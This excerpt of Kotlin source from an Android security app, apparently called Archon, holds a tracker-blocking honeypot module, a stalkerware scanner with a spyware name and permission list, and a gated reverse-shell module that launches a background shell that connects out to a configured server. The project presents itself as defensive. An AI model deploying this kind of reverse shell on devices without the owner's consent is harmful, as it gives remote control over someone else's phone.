val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||
if (check.stdout.contains(pkg)) {
|
||||
PrivilegeManager.execute("am force-stop $pkg")
|
||||
stopped++
|
||||
details.add("Stopped: $pkg")
|
||||
}
|
||||
}
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "$stopped tracker(s) force-stopped",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
// ── Tier 3: Root only ───────────────────────────────────────────
|
||||
|
||||
private fun deployHostsBlocklist(): ModuleResult {
|
||||
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||
return ModuleResult(false, "Root access required for hosts file modification")
|
||||
}
|
||||
|
||||
val trackerDomains = listOf(
|
||||
"graph.facebook.com", "pixel.facebook.com", "an.facebook.com",
|
||||
"analytics.google.com", "adservice.google.com", "pagead2.googlesyndication.com",
|
||||
"analytics.tiktok.com", "log.byteoversea.com",
|
||||
"graph.instagram.com",
|
||||
"ads-api.twitter.com", "analytics.twitter.com",
|
||||
"tr.snapchat.com", "sc-analytics.appspot.com",
|
||||
)
|
||||
|
||||
val hostsEntries = trackerDomains.joinToString("\n") { "0.0.0.0 $it" }
|
||||
val cmds = listOf(
|
||||
"mount -o remount,rw /system 2>/dev/null || true",
|
||||
"cp /system/etc/hosts /system/etc/hosts.bak 2>/dev/null || true",
|
||||
"echo '# AUTARCH Honeypot blocklist\n$hostsEntries' >> /system/etc/hosts",
|
||||
"mount -o remount,ro /system 2>/dev/null || true",
|
||||
)
|
||||
|
||||
for (cmd in cmds) {
|
||||
PrivilegeManager.execute(cmd)
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Deployed ${trackerDomains.size} tracker blocks to /system/etc/hosts"
|
||||
)
|
||||
}
|
||||
|
||||
private fun setupIptablesRedirect(): ModuleResult {
|
||||
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||
return ModuleResult(false, "Root access required for iptables")
|
||||
}
|
||||
|
||||
val cmds = listOf(
|
||||
"iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null || true",
|
||||
"iptables -t nat -F AUTARCH_HONEYPOT",
|
||||
// Redirect known tracker IPs to localhost (honeypot)
|
||||
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 157.240.0.0/16 -j REDIRECT --to-port 8443",
|
||||
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 31.13.0.0/16 -j REDIRECT --to-port 8443",
|
||||
"iptables -t nat -A OUTPUT -j AUTARCH_HONEYPOT",
|
||||
)
|
||||
|
||||
val details = mutableListOf<String>()
|
||||
for (cmd in cmds) {
|
||||
val r = PrivilegeManager.execute(cmd)
|
||||
if (r.exitCode == 0) details.add("OK: ${cmd.take(60)}")
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Iptables honeypot chain configured",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
private fun randomizeIdentity(): ModuleResult {
|
||||
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||
return ModuleResult(false, "Root access required for identity randomization")
|
||||
}
|
||||
|
||||
val randomId = (1..16).map { "0123456789abcdef".random() }.joinToString("")
|
||||
val cmds = listOf(
|
||||
"settings put secure android_id $randomId",
|
||||
"settings delete secure advertising_id",
|
||||
"settings put secure limit_ad_tracking 1",
|
||||
)
|
||||
|
||||
val details = mutableListOf<String>()
|
||||
for (cmd in cmds) {
|
||||
val r = PrivilegeManager.execute(cmd)
|
||||
details.add("${if (r.exitCode == 0) "OK" else "FAIL"}: ${cmd.take(50)}")
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Identity randomized (android_id=$randomId)",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
|
||||
/**
|
||||
* Central registry for Archon modules.
|
||||
* Modules register at init time and can be discovered/invoked by the UI.
|
||||
*/
|
||||
object ModuleManager {
|
||||
|
||||
private const val TAG = "ModuleManager"
|
||||
private val modules = mutableListOf<ArchonModule>()
|
||||
private var initialized = false
|
||||
|
||||
fun init() {
|
||||
if (initialized) return
|
||||
register(ShieldModule())
|
||||
register(HoneypotModule())
|
||||
register(ReverseShellModule())
|
||||
initialized = true
|
||||
Log.i(TAG, "Initialized with ${modules.size} modules")
|
||||
}
|
||||
|
||||
fun register(module: ArchonModule) {
|
||||
if (modules.none { it.id == module.id }) {
|
||||
modules.add(module)
|
||||
Log.i(TAG, "Registered module: ${module.id} (${module.name})")
|
||||
}
|
||||
}
|
||||
|
||||
fun getAll(): List<ArchonModule> = modules.toList()
|
||||
|
||||
fun get(id: String): ArchonModule? = modules.find { it.id == id }
|
||||
|
||||
fun executeAction(moduleId: String, actionId: String, context: Context): ModuleResult {
|
||||
val module = get(moduleId)
|
||||
?: return ModuleResult(false, "Module not found: $moduleId")
|
||||
return module.executeAction(actionId, context)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.service.LocalAdbClient
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import java.io.BufferedReader
|
||||
import java.io.InputStreamReader
|
||||
import java.io.OutputStreamWriter
|
||||
import java.io.PrintWriter
|
||||
import java.net.InetSocketAddress
|
||||
import java.net.Socket
|
||||
import java.util.UUID
|
||||
|
||||
/**
|
||||
* Reverse Shell module — connects back to the AUTARCH server for remote device management.
|
||||
*
|
||||
* SAFETY GATES:
|
||||
* 1. Disabled by default — must be explicitly enabled
|
||||
* 2. Three warning prompts before enabling (enforced in UI)
|
||||
* 3. Kill switch — disconnect at any time from app or by force-stopping
|
||||
* 4. Audit log — all commands logged at /data/local/tmp/archon_shell.log
|
||||
* 5. Auto-timeout — connection drops after configurable time (default 30 min)
|
||||
* 6. Server verification — only connects to configured AUTARCH server IP
|
||||
* 7. Token auth — random token per session
|
||||
*
|
||||
* The shell process (ArchonShell.java) runs via app_process at UID 2000,
|
||||
* same as ArchonServer. It connects OUTBOUND to AUTARCH's RevShellListener.
|
||||
*/
|
||||
class ReverseShellModule : ArchonModule {
|
||||
|
||||
override val id = "revshell"
|
||||
override val name = "Reverse Shell"
|
||||
override val description = "Remote shell connection to AUTARCH server for device investigation"
|
||||
override val version = "1.0"
|
||||
|
||||
companion object {
|
||||
private const val TAG = "ReverseShellModule"
|
||||
private const val PREFS_NAME = "archon_revshell"
|
||||
private const val KEY_ENABLED = "revshell_enabled"
|
||||
private const val KEY_WARNING_ACCEPTED = "revshell_warnings_accepted"
|
||||
private const val KEY_PORT = "revshell_port"
|
||||
private const val KEY_TIMEOUT = "revshell_timeout_min"
|
||||
private const val KEY_SESSION_TOKEN = "revshell_session_token"
|
||||
private const val DEFAULT_PORT = 17322
|
||||
private const val DEFAULT_TIMEOUT = 30 // minutes
|
||||
private const val SHELL_PROCESS_NAME = "archon_shell"
|
||||
|
||||
// Warning messages shown before enabling (UI enforces showing all 3)
|
||||
val WARNINGS = listOf(
|
||||
"This enables a reverse shell connection to your AUTARCH server. " +
|
||||
"This gives remote shell access (UID 2000) to this device.",
|
||||
"Only enable this on devices YOU own. Never enable on someone else's device. " +
|
||||
"This is a defensive tool for investigating threats on your own phone.",
|
||||
"The reverse shell will connect to your configured AUTARCH server. " +
|
||||
"You can disable it at any time from this screen or by force-stopping the app."
|
||||
)
|
||||
}
|
||||
|
||||
override fun getActions(): List<ModuleAction> = listOf(
|
||||
ModuleAction("enable", "Enable", "Accept warnings and enable reverse shell", privilegeRequired = false),
|
||||
ModuleAction("disable", "Disable", "Disable reverse shell and kill active connections", privilegeRequired = false),
|
||||
ModuleAction("connect", "Connect", "Start reverse shell to AUTARCH server"),
|
||||
ModuleAction("disconnect", "Disconnect", "Stop active reverse shell"),
|
||||
ModuleAction("status", "Status", "Check connection status", privilegeRequired = false),
|
||||
)
|
||||
|
||||
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||
return when (actionId) {
|
||||
"enable" -> enable(context)
|
||||
"disable" -> disable(context)
|
||||
"connect" -> connect(context)
|
||||
"disconnect" -> disconnect(context)
|
||||
"status" -> status(context)
|
||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||
}
|
||||
}
|
||||
|
||||
override fun getStatus(context: Context): ModuleStatus {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
val enabled = prefs.getBoolean(KEY_ENABLED, false)
|
||||
val connected = isShellRunning()
|
||||
|
||||
val summary = when {
|
||||
connected -> "Connected to AUTARCH"
|
||||
enabled -> "Enabled — not connected"
|
||||
else -> "Disabled"
|
||||
}
|
||||
|
||||
return ModuleStatus(
|
||||
active = connected,
|
||||
summary = summary,
|
||||
details = mapOf(
|
||||
"enabled" to enabled.toString(),
|
||||
"connected" to connected.toString(),
|
||||
"port" to prefs.getInt(KEY_PORT, DEFAULT_PORT).toString(),
|
||||
"timeout" to "${prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)} min"
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
// ── Actions ─────────────────────────────────────────────────────
|
||||
|
||||
private fun enable(context: Context): ModuleResult {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
|
||||
// Check if warnings were accepted (UI sets this after showing all 3)
|
||||
if (!prefs.getBoolean(KEY_WARNING_ACCEPTED, false)) {
|
||||
return ModuleResult(
|
||||
false,
|
||||
"Warnings not accepted. Use the UI to enable — all 3 safety warnings must be acknowledged.",
|
||||
WARNINGS
|
||||
)
|
||||
}
|
||||
|
||||
prefs.edit().putBoolean(KEY_ENABLED, true).apply()
|
||||
Log.i(TAG, "Reverse shell ENABLED")
|
||||
return ModuleResult(true, "Reverse shell enabled. Use 'connect' to start a session.")
|
||||
}
|
||||
|
||||
private fun disable(context: Context): ModuleResult {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
|
||||
// Kill any active shell first
|
||||
if (isShellRunning()) {
|
||||
killShell()
|
||||
}
|
||||
|
||||
prefs.edit()
|
||||
.putBoolean(KEY_ENABLED, false)
|
||||
.putBoolean(KEY_WARNING_ACCEPTED, false)
|
||||
.remove(KEY_SESSION_TOKEN)
|
||||
.apply()
|
||||
|
||||
Log.i(TAG, "Reverse shell DISABLED")
|
||||
return ModuleResult(true, "Reverse shell disabled. All connections terminated.")
|
||||
}
|
||||
|
||||
private fun connect(context: Context): ModuleResult {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
|
||||
if (!prefs.getBoolean(KEY_ENABLED, false)) {
|
||||
return ModuleResult(false, "Reverse shell is disabled. Enable it first.")
|
||||
}
|
||||
|
||||
if (isShellRunning()) {
|
||||
return ModuleResult(false, "Shell is already connected. Disconnect first.")
|
||||
}
|
||||
|
||||
// Get server IP from main prefs
|
||||
val serverIp = PrefsManager.getServerIp(context)
|
||||
if (serverIp.isEmpty()) {
|
||||
return ModuleResult(false, "No AUTARCH server IP configured. Set it in Settings.")
|
||||
}
|
||||
|
||||
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
|
||||
|
||||
// Generate session token
|
||||
val token = UUID.randomUUID().toString().replace("-", "").take(32)
|
||||
prefs.edit().putString(KEY_SESSION_TOKEN, token).apply()
|
||||
|
||||
// Get APK path for app_process bootstrap
|
||||
val apkPath = context.applicationInfo.sourceDir
|
||||
if (apkPath.isNullOrEmpty()) {
|
||||
return ModuleResult(false, "Could not determine APK path")
|
||||
}
|
||||
|
||||
// Build bootstrap command (no --nice-name — causes abort on GrapheneOS/some ROMs)
|
||||
val bootstrapCmd = buildString {
|
||||
append("TMPDIR=/data/local/tmp ")
|
||||
append("CLASSPATH='$apkPath' ")
|
||||
append("/system/bin/app_process /system/bin ")
|
||||
append("com.darkhal.archon.server.ArchonShell ")
|
||||
append("$serverIp $port $token $timeout")
|
||||
}
|
||||
|
||||
val fullCmd = "nohup sh -c \"$bootstrapCmd\" >> /data/local/tmp/archon_shell.log 2>&1 & echo started"
|
||||
|
||||
Log.i(TAG, "Starting reverse shell to $serverIp:$port (timeout: ${timeout}m)")
|
||||
|
||||
// Execute via LocalAdbClient (same as ArchonServer bootstrap)
|
||||
val result = if (LocalAdbClient.isConnected()) {
|
||||
LocalAdbClient.execute(fullCmd)
|
||||
} else {
|
||||
return ModuleResult(false, "No ADB connection — pair via Wireless Debugging first")
|
||||
}
|
||||
|
||||
if (result.exitCode != 0 && !result.stdout.contains("started")) {
|
||||
return ModuleResult(false, "Failed to start shell: ${result.stderr}")
|
||||
}
|
||||
|
||||
// Wait briefly for connection to establish
|
||||
Thread.sleep(2000)
|
||||
|
||||
return if (isShellRunning()) {
|
||||
ModuleResult(true, "Connected to $serverIp:$port (timeout: ${timeout}m)")
|
||||
} else {
|
||||
ModuleResult(false, "Shell process started but may not have connected yet. Check server logs.")
|
||||
}
|
||||
}
|
||||
|
||||
private fun disconnect(context: Context): ModuleResult {
|
||||
if (!isShellRunning()) {
|
||||
return ModuleResult(true, "No active shell connection")
|
||||
}
|
||||
|
||||
killShell()
|
||||
context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
.edit().remove(KEY_SESSION_TOKEN).apply()
|
||||
|
||||
Thread.sleep(500)
|
||||
return if (!isShellRunning()) {
|
||||
ModuleResult(true, "Shell disconnected")
|
||||
} else {
|
||||
ModuleResult(false, "Shell process may still be running — try force-stopping the app")
|
||||
}
|
||||
}
|
||||
|
||||
private fun status(context: Context): ModuleResult {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
val enabled = prefs.getBoolean(KEY_ENABLED, false)
|
||||
val connected = isShellRunning()
|
||||
val serverIp = PrefsManager.getServerIp(context)
|
||||
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
|
||||
|
||||
val details = mutableListOf<String>()
|
||||
details.add("Enabled: $enabled")
|
||||
details.add("Connected: $connected")
|
||||
details.add("Server: $serverIp:$port")
|
||||
details.add("Timeout: ${timeout} minutes")
|
||||
|
||||
if (connected) {
|
||||
// Try to read the log tail
|
||||
val logTail = try {
|
||||
val p = Runtime.getRuntime().exec(arrayOf("sh", "-c", "tail -5 /data/local/tmp/archon_shell.log 2>/dev/null"))
|
||||
p.inputStream.bufferedReader().readText().trim()
|
||||
} catch (e: Exception) { "" }
|
||||
if (logTail.isNotEmpty()) {
|
||||
details.add("--- Recent log ---")
|
||||
details.add(logTail)
|
||||
}
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = if (connected) "Connected to $serverIp:$port" else if (enabled) "Enabled — not connected" else "Disabled",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
// ── Internal ────────────────────────────────────────────────────
|
||||
|
||||
private fun isShellRunning(): Boolean {
|
||||
return try {
|
||||
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", "pgrep -f $SHELL_PROCESS_NAME"))
|
||||
val output = process.inputStream.bufferedReader().readText().trim()
|
||||
process.waitFor()
|
||||
output.isNotEmpty()
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun killShell() {
|
||||
try {
|
||||
Runtime.getRuntime().exec(arrayOf("sh", "-c", "pkill -f $SHELL_PROCESS_NAME"))
|
||||
Log.i(TAG, "Killed reverse shell process")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to kill shell", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,319 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
|
||||
/**
|
||||
* Protection Shield module — scans for and removes stalkerware/spyware.
|
||||
* Ported from AUTARCH core/android_protect.py.
|
||||
*
|
||||
* All commands run through PrivilegeManager → ArchonServer (UID 2000).
|
||||
*/
|
||||
class ShieldModule : ArchonModule {
|
||||
|
||||
override val id = "shield"
|
||||
override val name = "Protection Shield"
|
||||
override val description = "Scan & remove stalkerware, spyware, and surveillance tools"
|
||||
override val version = "1.0"
|
||||
|
||||
// Known stalkerware/spyware package patterns
|
||||
private val stalkerwarePatterns = listOf(
|
||||
"mspy", "flexispy", "cocospy", "spyzie", "hoverwatch", "eyezy",
|
||||
"pctattoetool", "thewispy", "umobix", "xnspy", "cerberus",
|
||||
"trackview", "spyera", "mobile.tracker", "spy.phone", "phone.monitor",
|
||||
"gps.tracker.spy", "spyapp", "phonetracker", "stalkerware",
|
||||
"keylogger", "screenrecorder.secret", "hidden.camera",
|
||||
"com.android.providers.telephony.backup", // Fake system package
|
||||
"com.system.service", "com.android.system.manager", // Common disguises
|
||||
)
|
||||
|
||||
// Suspicious permissions that stalkerware typically uses
|
||||
private val suspiciousPerms = listOf(
|
||||
"android.permission.READ_CALL_LOG",
|
||||
"android.permission.READ_SMS",
|
||||
"android.permission.READ_CONTACTS",
|
||||
"android.permission.RECORD_AUDIO",
|
||||
"android.permission.CAMERA",
|
||||
"android.permission.ACCESS_FINE_LOCATION",
|
||||
"android.permission.READ_EXTERNAL_STORAGE",
|
||||
"android.permission.BIND_ACCESSIBILITY_SERVICE",
|
||||
"android.permission.BIND_DEVICE_ADMIN",
|
||||
"android.permission.PACKAGE_USAGE_STATS",
|
||||
"android.permission.SYSTEM_ALERT_WINDOW",
|
||||
)
|
||||
|
||||
override fun getActions(): List<ModuleAction> = listOf(
|
||||
ModuleAction("full_scan", "Full Scan", "Run all security scans"),
|
||||
ModuleAction("scan_packages", "Scan Packages", "Check installed apps against stalkerware database"),
|
||||
ModuleAction("scan_permissions", "Scan Permissions", "Find apps with suspicious permission combos"),
|
||||
ModuleAction("scan_device_admins", "Scan Device Admins", "List active device administrators"),
|
||||
ModuleAction("scan_accessibility", "Scan Accessibility", "Check enabled accessibility services"),
|
||||
ModuleAction("scan_certificates", "Scan Certificates", "Check for user-installed CA certificates"),
|
||||
ModuleAction("scan_network", "Scan Network", "Check proxy, DNS, VPN settings"),
|
||||
ModuleAction("disable_app", "Disable App", "Disable a suspicious package (pm disable-user)"),
|
||||
ModuleAction("uninstall_app", "Uninstall App", "Uninstall a suspicious package"),
|
||||
ModuleAction("revoke_permissions", "Revoke Permissions", "Revoke dangerous permissions from a package"),
|
||||
ModuleAction("remove_device_admin", "Remove Device Admin", "Remove an active device admin component"),
|
||||
ModuleAction("clear_proxy", "Clear Proxy", "Remove HTTP proxy settings"),
|
||||
ModuleAction("remove_certificate", "Remove Certificate", "Remove a user-installed CA certificate"),
|
||||
)
|
||||
|
||||
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||
return when {
|
||||
actionId == "full_scan" -> fullScan(context)
|
||||
actionId == "scan_packages" -> scanPackages()
|
||||
actionId == "scan_permissions" -> scanPermissions()
|
||||
actionId == "scan_device_admins" -> scanDeviceAdmins()
|
||||
actionId == "scan_accessibility" -> scanAccessibility()
|
||||
actionId == "scan_certificates" -> scanCertificates()
|
||||
actionId == "scan_network" -> scanNetwork()
|
||||
actionId == "disable_app" -> ModuleResult(false, "Specify package: use disable_app:<package>")
|
||||
actionId == "uninstall_app" -> ModuleResult(false, "Specify package: use uninstall_app:<package>")
|
||||
actionId == "clear_proxy" -> clearProxy()
|
||||
actionId.startsWith("disable_app:") -> disableApp(actionId.substringAfter(":"))
|
||||
actionId.startsWith("uninstall_app:") -> uninstallApp(actionId.substringAfter(":"))
|
||||
actionId.startsWith("revoke_permissions:") -> revokePermissions(actionId.substringAfter(":"))
|
||||
actionId.startsWith("remove_device_admin:") -> removeDeviceAdmin(actionId.substringAfter(":"))
|
||||
actionId.startsWith("remove_certificate:") -> removeCertificate(actionId.substringAfter(":"))
|
||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||
}
|
||||
}
|
||||
|
||||
override fun getStatus(context: Context): ModuleStatus {
|
||||
return ModuleStatus(
|
||||
active = PrivilegeManager.isReady(),
|
||||
summary = if (PrivilegeManager.isReady()) "Ready to scan" else "Needs privilege setup"
|
||||
)
|
||||
}
|
||||
|
||||
// ── Scan actions ────────────────────────────────────────────────
|
||||
|
||||
private fun fullScan(context: Context): ModuleResult {
|
||||
val results = mutableListOf<String>()
|
||||
var threats = 0
|
||||
|
||||
val scans = listOf(
|
||||
"Packages" to ::scanPackages,
|
||||
"Permissions" to ::scanPermissions,
|
||||
"Device Admins" to ::scanDeviceAdmins,
|
||||
"Accessibility" to ::scanAccessibility,
|
||||
"Certificates" to ::scanCertificates,
|
||||
"Network" to ::scanNetwork,
|
||||
)
|
||||
|
||||
for ((name, scan) in scans) {
|
||||
val result = scan()
|
||||
results.add("=== $name ===")
|
||||
results.add(result.output)
|
||||
if (result.details.isNotEmpty()) {
|
||||
threats += result.details.size
|
||||
results.addAll(result.details)
|
||||
}
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = if (threats > 0) "$threats potential threat(s) found" else "No threats detected",
|
||||
details = results
|
||||
)
|
||||
}
|
||||
|
||||
private fun scanPackages(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("pm list packages")
|
||||
if (result.exitCode != 0) {
|
||||
return ModuleResult(false, "Failed to list packages: ${result.stderr}")
|
||||
}
|
||||
|
||||
val packages = result.stdout.lines()
|
||||
.filter { it.startsWith("package:") }
|
||||
.map { it.removePrefix("package:") }
|
||||
|
||||
val found = mutableListOf<String>()
|
||||
for (pkg in packages) {
|
||||
val lower = pkg.lowercase()
|
||||
for (pattern in stalkerwarePatterns) {
|
||||
if (lower.contains(pattern)) {
|
||||
found.add("[!] $pkg (matches: $pattern)")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Scanned ${packages.size} packages, ${found.size} suspicious",
|
||||
details = found
|
||||
)
|
||||
}
|
||||
|
||||
private fun scanPermissions(): ModuleResult {
|
||||
// Get packages with dangerous permissions
|
||||
val result = PrivilegeManager.execute(
|
||||
"pm list packages -f | head -500"
|
||||
)
|
||||
if (result.exitCode != 0) {
|
||||
return ModuleResult(false, "Failed: ${result.stderr}")
|
||||
}
|
||||
|
||||
val packages = result.stdout.lines()
|
||||
.filter { it.startsWith("package:") }
|
||||
.map { it.substringAfterLast("=") }
|
||||
.take(200) // Limit for performance
|
||||
|
||||
val suspicious = mutableListOf<String>()
|
||||
for (pkg in packages) {
|
||||
val dump = PrivilegeManager.execute("dumpsys package $pkg 2>/dev/null | grep 'android.permission' | head -30")
|
||||
if (dump.exitCode != 0) continue
|
||||
|
||||
val perms = dump.stdout.lines().map { it.trim() }
|
||||
val dangerousCount = perms.count { line ->
|
||||
suspiciousPerms.any { perm -> line.contains(perm) }
|
||||
}
|
||||
|
||||
if (dangerousCount >= 5) {
|
||||
suspicious.add("[!] $pkg has $dangerousCount suspicious permissions")
|
||||
}
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Checked permissions on ${packages.size} packages, ${suspicious.size} suspicious",
|
||||
details = suspicious
|
||||
)
|
||||
}
|
||||
|
||||
private fun scanDeviceAdmins(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("dumpsys device_policy 2>/dev/null | grep -A 2 'Admin\\|DeviceAdminInfo'")
|
||||
if (result.exitCode != 0 && result.stdout.isEmpty()) {
|
||||
return ModuleResult(true, "No device admins found or could not query", emptyList())
|
||||
}
|
||||
|
||||
val admins = result.stdout.lines().filter { it.isNotBlank() }
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "${admins.size} device admin entries found",
|
||||
details = admins.map { it.trim() }
|
||||
)
|
||||
}
|
||||
|
||||
private fun scanAccessibility(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("settings get secure enabled_accessibility_services")
|
||||
val services = result.stdout.trim()
|
||||
|
||||
return if (services.isNotEmpty() && services != "null") {
|
||||
val list = services.split(":").filter { it.isNotBlank() }
|
||||
ModuleResult(
|
||||
success = true,
|
||||
output = "${list.size} accessibility service(s) enabled",
|
||||
details = list.map { "[!] $it" }
|
||||
)
|
||||
} else {
|
||||
ModuleResult(true, "No accessibility services enabled", emptyList())
|
||||
}
|
||||
}
|
||||
|
||||
private fun scanCertificates(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("ls /data/misc/user/0/cacerts-added/ 2>/dev/null")
|
||||
|
||||
return if (result.exitCode == 0 && result.stdout.isNotBlank()) {
|
||||
val certs = result.stdout.lines().filter { it.isNotBlank() }
|
||||
ModuleResult(
|
||||
success = true,
|
||||
output = "${certs.size} user-installed CA certificate(s)",
|
||||
details = certs.map { "[!] Certificate: $it" }
|
||||
)
|
||||
} else {
|
||||
ModuleResult(true, "No user-installed CA certificates", emptyList())
|
||||
}
|
||||
}
|
||||
|
||||
private fun scanNetwork(): ModuleResult {
|
||||
val findings = mutableListOf<String>()
|
||||
|
||||
// Check HTTP proxy
|
||||
val proxy = PrivilegeManager.execute("settings get global http_proxy").stdout.trim()
|
||||
if (proxy.isNotEmpty() && proxy != "null" && proxy != ":0") {
|
||||
findings.add("[!] HTTP proxy set: $proxy")
|
||||
}
|
||||
|
||||
// Check private DNS
|
||||
val dnsMode = PrivilegeManager.execute("settings get global private_dns_mode").stdout.trim()
|
||||
val dnsProvider = PrivilegeManager.execute("settings get global private_dns_specifier").stdout.trim()
|
||||
if (dnsMode == "hostname" && dnsProvider.isNotEmpty() && dnsProvider != "null") {
|
||||
findings.add("[i] Private DNS: $dnsProvider (mode: $dnsMode)")
|
||||
}
|
||||
|
||||
// Check VPN always-on
|
||||
val vpn = PrivilegeManager.execute("settings get secure always_on_vpn_app").stdout.trim()
|
||||
if (vpn.isNotEmpty() && vpn != "null") {
|
||||
findings.add("[!] Always-on VPN: $vpn")
|
||||
}
|
||||
|
||||
// Check global proxy pac
|
||||
val pac = PrivilegeManager.execute("settings get global global_http_proxy_pac").stdout.trim()
|
||||
if (pac.isNotEmpty() && pac != "null") {
|
||||
findings.add("[!] Proxy PAC configured: $pac")
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = if (findings.isEmpty()) "Network settings clean" else "${findings.size} network finding(s)",
|
||||
details = findings
|
||||
)
|
||||
}
|
||||
|
||||
// ── Remediation actions ─────────────────────────────────────────
|
||||
|
||||
private fun disableApp(pkg: String): ModuleResult {
|
||||
val result = PrivilegeManager.execute("pm disable-user --user 0 $pkg")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "Disabled: $pkg" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
|
||||
private fun uninstallApp(pkg: String): ModuleResult {
|
||||
val result = PrivilegeManager.execute("pm uninstall --user 0 $pkg")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "Uninstalled: $pkg" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
|
||||
private fun revokePermissions(pkg: String): ModuleResult {
|
||||
val revoked = mutableListOf<String>()
|
||||
for (perm in suspiciousPerms) {
|
||||
val result = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
|
||||
if (result.exitCode == 0) revoked.add(perm)
|
||||
}
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Revoked ${revoked.size}/${suspiciousPerms.size} permissions from $pkg",
|
||||
details = revoked.map { "Revoked: $it" }
|
||||
)
|
||||
}
|
||||
|
||||
private fun removeDeviceAdmin(component: String): ModuleResult {
|
||||
val result = PrivilegeManager.execute("dpm remove-active-admin $component")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "Removed device admin: $component" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
|
||||
private fun clearProxy(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("settings put global http_proxy :0")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "HTTP proxy cleared" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
|
||||
private fun removeCertificate(hash: String): ModuleResult {
|
||||
val result = PrivilegeManager.execute("rm /data/misc/user/0/cacerts-added/$hash")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "Certificate removed: $hash" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,371 @@
|
||||
package com.darkhal.archon.server
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.service.LocalAdbClient
|
||||
import com.darkhal.archon.util.AuthManager
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
import java.io.BufferedReader
|
||||
import java.io.InputStreamReader
|
||||
import java.io.OutputStreamWriter
|
||||
import java.io.PrintWriter
|
||||
import java.net.InetSocketAddress
|
||||
import java.net.Socket
|
||||
import java.util.UUID
|
||||
import java.util.concurrent.atomic.AtomicBoolean
|
||||
|
||||
/**
|
||||
* Client for the Archon privileged server process.
|
||||
*
|
||||
* Handles:
|
||||
* - Bootstrapping the server via ADB (app_process command)
|
||||
